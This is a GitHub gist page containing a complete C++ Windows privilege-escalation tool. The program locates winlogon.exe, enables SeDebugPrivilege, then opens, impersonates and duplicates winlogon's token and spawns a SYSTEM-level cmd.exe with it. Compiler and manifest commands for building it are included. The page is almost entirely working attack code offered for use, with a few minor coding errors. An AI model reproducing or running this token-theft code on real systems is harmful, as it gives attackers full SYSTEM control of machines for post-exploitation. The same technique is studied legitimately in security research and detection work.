Last active
July 8, 2023 03:53
-
-
Save TrQ-Hoan/37bedf519a5b8a4fc864647b9fb24c0e to your computer and use it in GitHub Desktop.
Auto-locates winlogon.exe, steals and impersonates it's process TOKEN, and spawns a new SYSTEM-level process with the stolen token. (https://github.com/hfiref0x/UACME)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
#include <Psapi.h> | |
#include <Shlobj.h> | |
#include <sddl.h> | |
#include <shlwapi.h> | |
#include <iostream> | |
#include <string> | |
#pragma comment(lib, "Shell32.lib") | |
#pragma comment(lib, "Shlwapi.lib") | |
#pragma comment(lib, "advapi32.lib") | |
#define PROCESS_ARRAY 1024 | |
void GetTokenInfo(HANDLE TokenHandle) { | |
LPVOID TokenInformation = NULL; | |
DWORD TokenInformationLength = 0; | |
DWORD ReturnLength; | |
SID_NAME_USE SidType; | |
GetTokenInformation(TokenHandle, TokenUser, NULL, 0, &ReturnLength); | |
PTOKEN_USER pTokenUser = (PTOKEN_USER) GlobalAlloc(GPTR, ReturnLength); | |
GetTokenInformation(TokenHandle, TokenUser, pTokenUser, ReturnLength, &ReturnLength); | |
wchar_t* userSid = NULL; | |
ConvertSidToStringSidW(pTokenUser -> User.Sid, &userSid); | |
TCHAR szGroupName[256]; | |
TCHAR szDomainName[256]; | |
DWORD cchGroupName = 256; | |
DWORD cchDomainName = 256; | |
LookupAccountSid(NULL, pTokenUser -> User.Sid, szGroupName, &cchGroupName, szDomainName, &cchDomainName, &SidType); | |
std::wcout << "[+] Current SID: " << szDomainName << "\\" << szGroupName << " @ " << userSid << std::endl; | |
} | |
int LocateWinLogonProcess() { | |
DWORD aProcesses[PROCESS_ARRAY], cbNeeded, cProcesses; | |
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded)) { | |
puts("[!] Failed EnumProcesses"); | |
return -1; | |
} | |
DWORD processWinlogonPid = -1; | |
char szProcessName[MAX_PATH] = {}; | |
cProcesses = cbNeeded / sizeof(DWORD); | |
for (DWORD i = 0; i < cProcesses; i++) { | |
if (processWinlogonPid != -1) break; | |
if (aProcesses[i] != 0) { | |
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, aProcesses[i]); | |
if (NULL != hProcess) { | |
HMODULE hMod; | |
DWORD cbNeeded; | |
if (EnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) { | |
GetModuleBaseNameA(hProcess, hMod, szProcessName, sizeof(szProcessName) / sizeof(TCHAR)); | |
if (!strcmp(szProcessName, "winlogon.exe")) { | |
processWinlogonPid = aProcesses[i]; | |
std::cout << "[+] Located winlogon.exe by process name (PID " << processWinlogonPid << ")" << std::endl; | |
} | |
} | |
CloseHandle(hMod); | |
} | |
CloseHandle(hProcess); | |
} | |
} | |
return processWinlogonPid; | |
} | |
void EnableSeDebugPrivilegePrivilege() { | |
LUID luid; | |
HANDLE currentProc = OpenProcess(PROCESS_ALL_ACCESS, false, GetCurrentProcessId()); | |
if (currentProc) { | |
HANDLE TokenHandle(NULL); | |
BOOL hProcessToken = OpenProcessToken(currentProc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle); | |
if (hProcessToken) { | |
BOOL checkToken = LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid); | |
if (!checkToken) { | |
std::cout << "[+] Current process token already includes SeDebugPrivilege\n" << std::endl; | |
} else { | |
TOKEN_PRIVILEGES tokenPrivs; | |
tokenPrivs.PrivilegeCount = 1; | |
tokenPrivs.Privileges[0].Luid = luid; | |
tokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | |
BOOL adjustToken = AdjustTokenPrivileges(TokenHandle, FALSE, &tokenPrivs, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL); | |
if (adjustToken != 0) { | |
std::cout << "[+] Added SeDebugPrivilege to the current process token" << std::endl; | |
} | |
} | |
CloseHandle(TokenHandle); | |
} | |
} | |
CloseHandle(currentProc); | |
} | |
int CreateImpersonatedProcess(HANDLE NewToken) { | |
bool NewProcess; | |
wchar_t szCMDPath[MAX_PATH] = {}; | |
STARTUPINFOW lpStartupInfo = {}; | |
PROCESS_INFORMATION lpProcessInformation = {}; | |
if (SHGetFolderPathW(NULL, CSIDL_SYSTEM, NULL, 0, szCMDPath)) { | |
return 1; | |
} | |
PathAppendW(szCMDPath, L"cmd.exe"); | |
lpStartupInfo.cb = sizeof(lpStartupInfo); | |
NewProcess = CreateProcessWithTokenW(NewToken, LOGON_WITH_PROFILE, szCMDPath, NULL, 0, NULL, NULL, &lpStartupInfo, &lpProcessInformation); | |
if (!NewProcess) { | |
std::cout << "[!] Failed to create a new process with the stolen TOKEN" << std::endl; | |
return 1; | |
} | |
std::cout << "[+] Created a new process with the stolen TOKEN" << std::endl; | |
GetTokenInfo(NewToken); | |
CloseHandle(NewToken); | |
return 0; | |
} | |
int StealToken(int TargetPID) { | |
HANDLE hProcess = NULL; | |
HANDLE TokenHandle = NULL; | |
HANDLE NewToken = NULL; | |
BOOL OpenToken; | |
BOOL Impersonate; | |
BOOL Duplicate; | |
hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, TargetPID); | |
if (!hProcess) { | |
std::cout << "[!] Failed to obtain a HANDLE to the target PID" << std::endl; | |
return 1; | |
} | |
std::cout << "[+] Obtained a HANDLE to the target PID" << std::endl; | |
OpenToken = OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &TokenHandle); | |
if (!OpenToken) { | |
std::cout << "[!] Failed to obtain a HANDLE to the target TOKEN" << std::endl; | |
std::cout << GetLastError(); | |
} | |
std::cout << "[+] Obtained a HANDLE to the target TOKEN" << std::endl; | |
Impersonate = ImpersonateLoggedOnUser(TokenHandle); | |
if (!Impersonate) { | |
std::cout << "[!] Failed to impersonate the TOKEN's user" << std::endl; | |
return 1; | |
} | |
std::cout << "[+] Impersonated the TOKEN's user" << std::endl; | |
Duplicate = DuplicateTokenEx(TokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &NewToken); | |
if (!Duplicate) { | |
std::cout << "[!] Failed to duplicate the target TOKEN" << std::endl; | |
return 1; | |
} | |
std::cout << "[+] Duplicated the target TOKEN" << std::endl; | |
CreateImpersonatedProcess(NewToken); | |
CloseHandle(hProcess); | |
CloseHandle(TokenHandle); | |
return 0; | |
} | |
void CheckCurrentProcess() { | |
HANDLE TokenHandle = NULL; | |
HANDLE hCurrent = GetCurrentProcess(); | |
OpenProcessToken(hCurrent, TOKEN_QUERY, &TokenHandle); | |
GetTokenInfo(TokenHandle); | |
CloseHandle(TokenHandle); | |
} | |
int main(int argc, char* argv[]) { | |
/** | |
* cl /EHsc Auto-Elevate.cpp /link /MANIFEST /MANIFESTUAC:"level='requireAdministrator' uiAccess='false'" | |
* mt -nologo -manifest Auto-Elevate.exe.manifest -outputresource:Auto-Elevate.exe;#1 | |
*/ | |
CheckCurrentProcess(); | |
EnableSeDebugPrivilegePrivilege(); | |
int winLogonPID = LocateWinLogonProcess(); | |
StealToken(winLogonPID); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment